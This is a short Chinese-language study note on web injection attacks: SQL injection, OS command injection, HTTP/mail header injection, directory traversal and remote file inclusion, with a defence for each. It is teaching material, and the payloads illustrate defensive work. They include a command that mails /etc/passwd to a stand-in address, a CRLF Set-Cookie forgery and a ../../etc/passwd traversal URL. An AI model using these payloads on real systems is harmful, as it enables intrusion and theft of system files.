注入攻击
SQL 注入是怎样发生的?
- 成因: 服务端直接拼接 SQL 字符串, 未做参数化;
- 手法: 攻击者构造非法 SQL 片段, 改变原语句语义;
- 后果: 越权访问或篡改数据;
# 正常请求: 查询作者为"上野宣"的记录
http://example.com/search?q=上野宣
SELECT * FROM bookTbl WHERE author = '上野宣' and flag = 1;
# 注入: 用 ' -- 注释掉后续条件
http://example.com/search?q=上野宣' --
SELECT * FROM bookTbl WHERE author = '上野宣' --' and flag = 1;
- 防御: 使用参数化查询或预编译语句, 不拼接用户输入;
OS 命令注入是怎样发生的?
- 成因: 服务器把用户输入拼进系统命令后执行;
- 手法: 用命令分隔符把非法命令接在原本命令之后;
# 服务器拼接邮件地址后调用 sendmail
/usr/sbin/sendmail $adr
# 攻击者提交 ; cat /etc/passwd | mail hack@example.jp
# 分号被视为命令分隔符, 后续命令被非法执行
/usr/sbin/sendmail ; cat /etc/passwd | mail hack@example.jp
- 防御: 不经过 shell 解析, 对参数做白名单校验;
HTTP 与邮件首部注入是怎样发生的?
- 成因: 用户输入被写入首部字段且未过滤换行符;
- 手法: 用
%0D%0A插入换行, 伪造新的首部或主体; - 后果: 伪造
Set-Cookie、向响应中插入任意 HTML、改写邮件首部把邮件发给任意对象;
# 伪造 Set-Cookie 首部
%0D%0ASet-Cookie:+SID=123456789
# 伪造响应主体
%0D%0A%0D%0A<HTML><HEAD><TITLE>之后想显示的网页内容 <!--
- 防御: 对写入首部的输入做换行符校验与转义;
目录遍历与远程文件包含是怎样发生的?
- 目录遍历: 主动攻击; 通过分析 URL 猜测文件名, 用
../跳出公开目录读取非公开文件; - 远程文件包含: 主动攻击; 服务器脚本直接使用外界 URL, 攻击者制作陷阱 URL 诱导服务器执行, 常见于 PHP;
http://example.com/read.php?log=../../etc/passwd